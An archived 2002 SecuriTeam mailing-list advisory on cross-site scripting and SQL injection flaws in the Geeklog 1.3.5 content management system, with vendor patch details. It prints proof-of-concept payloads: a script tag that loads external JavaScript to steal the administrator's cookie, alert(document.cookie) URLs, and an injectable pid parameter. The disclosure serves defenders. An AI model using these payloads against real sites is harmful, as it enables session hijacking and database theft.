

# [UNIX] Multiple Security Issues in Geeklog (XSS, SQL Inject)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0042.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 06/11/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Tue, 11 Jun 2002 08:21:25 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Multiple Security Issues in Geeklog (XSS, SQL Inject)

---

## SUMMARY

<<http://geeklog.sourceforge.net/index.php?topic=GeekLog>> Geeklog is a web content management system suitable for running full-featured community sites. It supports article posting, threaded comments, event scheduling, and link management and is built around a design philosophy that emphasizes ease of use. Multiple security vulnerabilities have been found in the product, the vulnerabilities would allow a remote attacker to insert malicious JavaScript or HTML into existing sites and to inject existing SQL statements with malicious content.

## DETAILS

Vulnerable systems:

\* Geeklog version 1.3.5, 1.3.5rc1

Immune systems:

\* Geeklog version 1.3.5sr1

## Cross-Site Scripting

1. When a user sends a new Calendar Event, the form is submitted to the site for administrator's approval. The \$url variable, which holds the data

## Securiteam: [UNIX] Multiple Security Issues in Geeklog (XSS, SQL Inject)

given in the "Link" section of the form, is not filtered for malicious code. Therefore, a malicious user can capture the cookie used by the site administrator and gain complete control over the site's content.

Proof-of-concept Link input (\$url):

```
<script src="http://forum.olympus.org/f.js">Alper</script>
```

2. Maliciously crafted links from third party sites allows Cross Site Scripting attacks via "index.php" or "comment.php".

Two examples:

```
/index.php?topic=<script>alert(document.cookie)</script>
```

```
/comment.php?mode=display&sid=foo&pid=18&title=<script>alert(document.cookie)</script>&type=article
```

SQL Injection:

3. The \$pid variable is directly passed to SQL input. This allows attackers to launch a SQL injection attack.

Example:

```
/comment.php?
```

```
mode=display&sid=foo&pid=PROBLEM_HERE&title=ALPER_Research_Labs
```

As the "Magic Quotes" function of PHP escapes the quoting characters, this third issue might just cause "light" headaches, but if the "Magic Quotes" is not active, an attacker can access any of the stored information present inside the SQL tables.

Solution:

The vendor replied and acted quickly. A patch or a new version pointing this issue will soon be available via CVS or a FTP download from:

```
<http://www.sourceforge.net/projects/geeklog>
```

```
http://www.sourceforge.net/projects/geeklog
```

Or

```
<http://geeklog.sourceforge.net> http://geeklog.sourceforge.net
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:salper@olympus.org>> Ahmet Sabri ALPER.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

```
list-unsubscribe@securiteam.com
```

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

## Securiteam: [UNIX] Multiple Security Issues in Geeklog (XSS, SQL Inject)

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NEWS] ZenTrack System Information Path Disclosure Vulnerability"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)